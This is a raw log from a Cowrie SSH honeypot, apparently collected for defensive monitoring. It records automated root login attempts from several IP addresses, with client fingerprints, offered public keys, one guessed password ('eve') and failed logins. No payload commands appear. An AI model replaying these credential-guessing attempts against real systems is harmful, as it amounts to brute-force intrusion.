{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:56.768534Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:65:c5:ef:ee:6b:82:dc:61:9b:f5:d8:00:ea:fe:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRq5jlu2w04g6KHrFPAXTohcBsiHy4sLnzPp0Fvt0hz+ME+oWuGzrb/4PwmxCTC7kwC4vT0LrnzF25MDINsoNhxYCFbMSnDnS9KYNsP+YL7J97DgweCK1omjX0F5mmdi+8S7A+Rka2gCjDMyLzeeaq5XdV1O2jKFPmAiM4vr6wY6CjQVH0v7n9CvrcG/CrpH4uuTjdyMk1xk//MsCJq5l8lzLf0rXR7fUONdmdebvY3zJwY6uhQEdMUtGHRJD0Y/0qI2Dx9T3bANyhcAtng1cUGZRPhYu6aoG/kzPQnavbxEhIhXTryKCZ680w+6TUqu57XGTGvXLReO1izWBltmDV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:65:c5:ef:ee:6b:82:dc:61:9b:f5:d8:00:ea:fe:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.109699Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:65:c5:ef:ee:6b:82:dc:61:9b:f5:d8:00:ea:fe:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRq5jlu2w04g6KHrFPAXTohcBsiHy4sLnzPp0Fvt0hz+ME+oWuGzrb/4PwmxCTC7kwC4vT0LrnzF25MDINsoNhxYCFbMSnDnS9KYNsP+YL7J97DgweCK1omjX0F5mmdi+8S7A+Rka2gCjDMyLzeeaq5XdV1O2jKFPmAiM4vr6wY6CjQVH0v7n9CvrcG/CrpH4uuTjdyMk1xk//MsCJq5l8lzLf0rXR7fUONdmdebvY3zJwY6uhQEdMUtGHRJD0Y/0qI2Dx9T3bANyhcAtng1cUGZRPhYu6aoG/kzPQnavbxEhIhXTryKCZ680w+6TUqu57XGTGvXLReO1izWBltmDV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.113497Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:68:89:c5:40:be:29:76:c4:11:d6:61:37:a6:ed:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6O+RJzbLdY0n+z4oseVfpnqkuhkrioh51ts8o67dkDKQcP41rVZg9SloBEZUv/BnIYlq2VABH17a412GMMeiUuLPblF/L1HAA00e8ec61pyrV3KPRBLvb4vGDfmllOEwBJuy55bNDxHimhfFf6CqWqM76Pvoj5E0DDFVnoy90rLiFnI3p0fI8uIX1HqJimuUrRp0+fpXWzYyvCh4/EXoTjnJEOazUTjAMtbL8F8YSPszm1Art3tJn+EiDyt4mz7HOsQRd8uaFIN3MZSUAIjpIpwjNw5gcr6yXLln5wG9BDGPjxV7RB+GLo8Bh/328jISS5d+bMbsNQ3Onxb3c16n7GejbNMxH7TQB2y2opvzRhSkMFGRyhwRRR/4vjJDNy7QnZJ458aCNo31rWb7keD/QNehUIPiSbx0fr/h3TS7ECLDN6BGLi9aA3Rbm2Gd4oAR+Ywk+3KD69Sy3xDmZlswCt4AKbRqLv1ApfiWnMUrrQvkvU7msJcBqsT0RjptvhdcI5CjzPCSSz5NluiInPdS42JXrTwqIyc2kIVu245dEIVWyTqNst/1sMt2Npn+PLwHh10ejwyY/2ZxANTWnAtbBbrqjjERID4mQoyYkDKyiE3NRwZ/AM/Kln6d/v0v0ceFRbCtVGkNHvyfrgboetn4tzuX/KaPTQ3Stj6TZ3u/P4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:68:89:c5:40:be:29:76:c4:11:d6:61:37:a6:ed:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.187039Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:68:89:c5:40:be:29:76:c4:11:d6:61:37:a6:ed:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6O+RJzbLdY0n+z4oseVfpnqkuhkrioh51ts8o67dkDKQcP41rVZg9SloBEZUv/BnIYlq2VABH17a412GMMeiUuLPblF/L1HAA00e8ec61pyrV3KPRBLvb4vGDfmllOEwBJuy55bNDxHimhfFf6CqWqM76Pvoj5E0DDFVnoy90rLiFnI3p0fI8uIX1HqJimuUrRp0+fpXWzYyvCh4/EXoTjnJEOazUTjAMtbL8F8YSPszm1Art3tJn+EiDyt4mz7HOsQRd8uaFIN3MZSUAIjpIpwjNw5gcr6yXLln5wG9BDGPjxV7RB+GLo8Bh/328jISS5d+bMbsNQ3Onxb3c16n7GejbNMxH7TQB2y2opvzRhSkMFGRyhwRRR/4vjJDNy7QnZJ458aCNo31rWb7keD/QNehUIPiSbx0fr/h3TS7ECLDN6BGLi9aA3Rbm2Gd4oAR+Ywk+3KD69Sy3xDmZlswCt4AKbRqLv1ApfiWnMUrrQvkvU7msJcBqsT0RjptvhdcI5CjzPCSSz5NluiInPdS42JXrTwqIyc2kIVu245dEIVWyTqNst/1sMt2Npn+PLwHh10ejwyY/2ZxANTWnAtbBbrqjjERID4mQoyYkDKyiE3NRwZ/AM/Kln6d/v0v0ceFRbCtVGkNHvyfrgboetn4tzuX/KaPTQ3Stj6TZ3u/P4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.190877Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:e5:3b:95:91:be:eb:7c:72:bc:c5:36:da:23:8d:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcIUkeNJyXr0ZoZfofC9VC2UhidcV4WpDMYxIrpwjU6k1uNaVAhQv0o6mt+BTZHvfRC2d+zw4b6EGHI30GuMt49mFKO3RUutSz/PIMAk0oDYX6zH4W8nZa1/r/UVHyI124Vq+EQd6bxNhTJVwE3OoTYKxofBrIYCRMa22HEOMNIK/e2WRgRQwARkxvKlJpl3L98eYWeOulZJz1mGjDxtmmi7ri4IzUfbnhbGCIMVPJ6agSz7wIqWl8bK7EOfYu3natK0kfaNlG+T0HZz8OoILogq/DNXijatfRvLd0mJ7XztROen1JJ2Jsn555Zj2gGcym3+QmyDNl+5g4Pgz7gk4CYABvYkxXb+bYQT77f8m61B3x6H+v36NtLLXkPc/ojlOglnZ3OZMccKcdBIQTF4H+reVWv5+gpVSanC2/vwaRrlHFy3MAabex4mRWOOuvtrHysd96BOT3bRe4Sq+9Qbt3bIuKx+rJDocBUCAU/F7KKoCPgTRhcZECcGFMMXUipP78nN55qj03ilJ/PfW53as6dGLbggU24pB4AWbDltVU0/8qR0PGQjwC9EcINmv/m7Ywmb8JhmzIa0mcS12HWUP77JC+EubSYjdV6VKMugWV10TFnLRgYWinRCKdJsynCESEVIUwpfg7WVmMfLT6zXr8bf7i2hq3PhICkxeQpp0vuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:e5:3b:95:91:be:eb:7c:72:bc:c5:36:da:23:8d:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.263746Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:e5:3b:95:91:be:eb:7c:72:bc:c5:36:da:23:8d:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcIUkeNJyXr0ZoZfofC9VC2UhidcV4WpDMYxIrpwjU6k1uNaVAhQv0o6mt+BTZHvfRC2d+zw4b6EGHI30GuMt49mFKO3RUutSz/PIMAk0oDYX6zH4W8nZa1/r/UVHyI124Vq+EQd6bxNhTJVwE3OoTYKxofBrIYCRMa22HEOMNIK/e2WRgRQwARkxvKlJpl3L98eYWeOulZJz1mGjDxtmmi7ri4IzUfbnhbGCIMVPJ6agSz7wIqWl8bK7EOfYu3natK0kfaNlG+T0HZz8OoILogq/DNXijatfRvLd0mJ7XztROen1JJ2Jsn555Zj2gGcym3+QmyDNl+5g4Pgz7gk4CYABvYkxXb+bYQT77f8m61B3x6H+v36NtLLXkPc/ojlOglnZ3OZMccKcdBIQTF4H+reVWv5+gpVSanC2/vwaRrlHFy3MAabex4mRWOOuvtrHysd96BOT3bRe4Sq+9Qbt3bIuKx+rJDocBUCAU/F7KKoCPgTRhcZECcGFMMXUipP78nN55qj03ilJ/PfW53as6dGLbggU24pB4AWbDltVU0/8qR0PGQjwC9EcINmv/m7Ywmb8JhmzIa0mcS12HWUP77JC+EubSYjdV6VKMugWV10TFnLRgYWinRCKdJsynCESEVIUwpfg7WVmMfLT6zXr8bf7i2hq3PhICkxeQpp0vuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.270712Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:a5:ee:6d:05:83:85:88:79:e1:af:0f:d3:0c:e7:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi8Ba9eKYgdbLEVLHnGi8U0Y8IhsNmHDeEPkuaNSSeo9vmZfq8qRNS+vGzV/opeXN1WdMyaENiIgB6L1LHrZUt/046VZdZiOsM86WRk4m0HvWtkXW537bhLOoXIEGHXGTXzoWV6aF+3+N2XUYg/NNoHQCfkU+hQiyzc6C05Zu4YnkbDlRZvoCXcRzi+aZ/aHVw7p/m3BbW6s/A9z+oGikyOVuet0siX6Yd370N0FHTVLNH6oLuVL+XbSrBRwaEwNQgCHx1b4/0KGrUEu6qsw2zP/8WHijcRcadyE5If3/In3XtKiGiomZZSzfCjnC61PlsxtqQ5CB4KywLvsfuuHdFu9uIgqHV/XUTZJppzer/IPVNDvhu3L4yeK5y7P/Wl0qYiAgyAQTnMpSwNg2O0V/5lkc5j0SmiYH8KWnZNbq2lAQ8ZIm8TuzYajTy+u2G+W6f2VGzd8BDtbk0ak6rbohHCIOYpTaCmA7W/KxYfu4YC6HPuGcGTcWbtxEI7rWmjqwt0fBsXnB+Ia405ykPotJABxmk7BKAn1tbl9dY4fDmrkA8fGfKBoosukerW6HtWFMwy5gIQSze5wtd/AaFGbzXXXzu2D4eLxDKrt/NHJnXO+TqMLwunU6YsOsNl31s5gwRQcVQs7Qdy54PGgK+D8nNQ8b7yLWXJCJuoLuJnlpF+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:a5:ee:6d:05:83:85:88:79:e1:af:0f:d3:0c:e7:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.343828Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:a5:ee:6d:05:83:85:88:79:e1:af:0f:d3:0c:e7:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi8Ba9eKYgdbLEVLHnGi8U0Y8IhsNmHDeEPkuaNSSeo9vmZfq8qRNS+vGzV/opeXN1WdMyaENiIgB6L1LHrZUt/046VZdZiOsM86WRk4m0HvWtkXW537bhLOoXIEGHXGTXzoWV6aF+3+N2XUYg/NNoHQCfkU+hQiyzc6C05Zu4YnkbDlRZvoCXcRzi+aZ/aHVw7p/m3BbW6s/A9z+oGikyOVuet0siX6Yd370N0FHTVLNH6oLuVL+XbSrBRwaEwNQgCHx1b4/0KGrUEu6qsw2zP/8WHijcRcadyE5If3/In3XtKiGiomZZSzfCjnC61PlsxtqQ5CB4KywLvsfuuHdFu9uIgqHV/XUTZJppzer/IPVNDvhu3L4yeK5y7P/Wl0qYiAgyAQTnMpSwNg2O0V/5lkc5j0SmiYH8KWnZNbq2lAQ8ZIm8TuzYajTy+u2G+W6f2VGzd8BDtbk0ak6rbohHCIOYpTaCmA7W/KxYfu4YC6HPuGcGTcWbtxEI7rWmjqwt0fBsXnB+Ia405ykPotJABxmk7BKAn1tbl9dY4fDmrkA8fGfKBoosukerW6HtWFMwy5gIQSze5wtd/AaFGbzXXXzu2D4eLxDKrt/NHJnXO+TqMLwunU6YsOsNl31s5gwRQcVQs7Qdy54PGgK+D8nNQ8b7yLWXJCJuoLuJnlpF+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.348126Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:01:81:1c:53:46:17:73:1e:ae:f9:7c:e1:e3:77:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/DBTNfbgN5JpPKy1zThkiU80FoJhEXmqRX5wbADjfDc5iTotoH+nNAW1Gb+dE/q1Waj0Dtoy9wXZkUVnOdnIExgenONnD/GqsyTHw0rPvLh0Zk65V4n4vsBX9SeAY1rQKhRHEXFXeSb8kjE6mF7oyBAud8VcGLpnYxDQwIDBP/POlmScT4MCYe6+Fq/eP5PfGvCjQaTEufM0JmPpiRhsP1xZuOLhGlrclhRfGOPqHgCayaSl8W8119GWFH/cI13MpmT0ZLDYRW9Aem8lAtoQsVCqq3C5l089rxp6I/xlr1oAvrVAAfovq7o6hoAcI9+U7SO81EwJKz4yWk5qAYU/ODlF2wqyaJ2pjCSMtyz/ydhjtOtiB4zQpZwt7G/Lu2MpHZHU2ZaEUSzStd91eBS4i0Kurf4GnDbfGiFBuYksl77O3VBonLOPgy8h7qbBd1NmrBJRBtCmAJQA7dQ3J2bIXUR/vD0tv4ecva3JvCvigOkjV6PH1ai3HbzQ1BjvSbhYfMOR1yjrDxt/bbvTsWyiP1CAb5Mv9ammONW7Sk/Ad8TbnUXKmCPHR9ryOfE37Ua9j2BScfkomnaSorTIpJJBQf9GkIPeyb7+ELIGcWvywfX7PWHpqJ/01rYgVyXylse4MEzcMDUQ63FDTaLcH8psrlLG+ySLgKLVmDRQBuiGnUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:01:81:1c:53:46:17:73:1e:ae:f9:7c:e1:e3:77:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.421803Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:01:81:1c:53:46:17:73:1e:ae:f9:7c:e1:e3:77:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/DBTNfbgN5JpPKy1zThkiU80FoJhEXmqRX5wbADjfDc5iTotoH+nNAW1Gb+dE/q1Waj0Dtoy9wXZkUVnOdnIExgenONnD/GqsyTHw0rPvLh0Zk65V4n4vsBX9SeAY1rQKhRHEXFXeSb8kjE6mF7oyBAud8VcGLpnYxDQwIDBP/POlmScT4MCYe6+Fq/eP5PfGvCjQaTEufM0JmPpiRhsP1xZuOLhGlrclhRfGOPqHgCayaSl8W8119GWFH/cI13MpmT0ZLDYRW9Aem8lAtoQsVCqq3C5l089rxp6I/xlr1oAvrVAAfovq7o6hoAcI9+U7SO81EwJKz4yWk5qAYU/ODlF2wqyaJ2pjCSMtyz/ydhjtOtiB4zQpZwt7G/Lu2MpHZHU2ZaEUSzStd91eBS4i0Kurf4GnDbfGiFBuYksl77O3VBonLOPgy8h7qbBd1NmrBJRBtCmAJQA7dQ3J2bIXUR/vD0tv4ecva3JvCvigOkjV6PH1ai3HbzQ1BjvSbhYfMOR1yjrDxt/bbvTsWyiP1CAb5Mv9ammONW7Sk/Ad8TbnUXKmCPHR9ryOfE37Ua9j2BScfkomnaSorTIpJJBQf9GkIPeyb7+ELIGcWvywfX7PWHpqJ/01rYgVyXylse4MEzcMDUQ63FDTaLcH8psrlLG+ySLgKLVmDRQBuiGnUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.426745Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:57.509584Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:09.408099Z","src_ip":"8.218.166.49","session":"dc41f6633f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.91.141","src_port":50784,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c075fd890cf","protocol":"ssh","message":"New connection: 198.38.91.141:50784 (10.17.0.5:22) [session: 7c075fd890cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:09.445326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:09.449541Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:09.709733Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:62:c3:76:7b:96:f9:7d:d0:b3:e3:62:90:0e:9e:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG/e+e1cW01j+6on/GC2I9sFQ9bbOxN5Fn0+JS+ElC1u1mEQjhtA4kd6MgDz5JOl5VUPWv+ZNI93pBdQA4lL7YyfD///l6DNym60DrVMJnEtglDRWwj2IPMOzg3MWUUdEGzqZyS0xI4w66o2lcb/5/+zBmL3sfYiuFkfMiaA5dmR2s5MCzpgeg+pQGkAd5aqJs+TX/F29dypVSIOxmWtQ/EkITBeqz5EIwNaUc/2Q79QqY+bE9nnD+gEs4Fvn1YKrV7s/KUw2ukTVzxeRUA3ZmcHnAqKBprYt4218476bvuaYqMrpuy277FNccXnzYwfjfbz6fQ3wGrjPdMWtNvUwn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:62:c3:76:7b:96:f9:7d:d0:b3:e3:62:90:0e:9e:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:10.990535Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:62:c3:76:7b:96:f9:7d:d0:b3:e3:62:90:0e:9e:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG/e+e1cW01j+6on/GC2I9sFQ9bbOxN5Fn0+JS+ElC1u1mEQjhtA4kd6MgDz5JOl5VUPWv+ZNI93pBdQA4lL7YyfD///l6DNym60DrVMJnEtglDRWwj2IPMOzg3MWUUdEGzqZyS0xI4w66o2lcb/5/+zBmL3sfYiuFkfMiaA5dmR2s5MCzpgeg+pQGkAd5aqJs+TX/F29dypVSIOxmWtQ/EkITBeqz5EIwNaUc/2Q79QqY+bE9nnD+gEs4Fvn1YKrV7s/KUw2ukTVzxeRUA3ZmcHnAqKBprYt4218476bvuaYqMrpuy277FNccXnzYwfjfbz6fQ3wGrjPdMWtNvUwn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:10.999360Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:8a:4c:0d:e8:f1:36:04:41:4d:6a:7d:d9:02:41:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJJ2iV+Tb1zR4M8ntM+UwRdx9nkej0zBoP5+Cs9C4fF0","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fe:8a:4c:0d:e8:f1:36:04:41:4d:6a:7d:d9:02:41:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:11.265609Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:8a:4c:0d:e8:f1:36:04:41:4d:6a:7d:d9:02:41:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJJ2iV+Tb1zR4M8ntM+UwRdx9nkej0zBoP5+Cs9C4fF0","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:11.269416Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:d8:82:00:c9:2d:94:17:4b:ce:9b:91:54:51:b5:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsuxgsaTBM5Z36wI3xuNks51QPpUuGmqE6q7pZ8mcddk5tz1LMbX7O0MvWqxHgK0eV54rshCJato7IDpRrwNm47PeeVtNKyFZsR1YUplak39t6cz8wC3C/fmjp3owlzIxXrAzdg2vdTTpyjaj5cwb5ZtxZeotSd/94WouMojJwHOHNmDa1ZEcbEtiRjZjl1877Xc98dQ1lfAgSvbeVrHkQhTBlJpFGKeRCFM0rRfFPMo/wzhOCeiCsnPzSMK4IROC7VqAJ1CPac2FmV0mP6qnYgBa8xa0MFXJyFKRGcBxMG094YwIG9nPopTAVXl9A2C85pBJ87A8z3BTWtiu/G6YWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:d8:82:00:c9:2d:94:17:4b:ce:9b:91:54:51:b5:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:11.530886Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
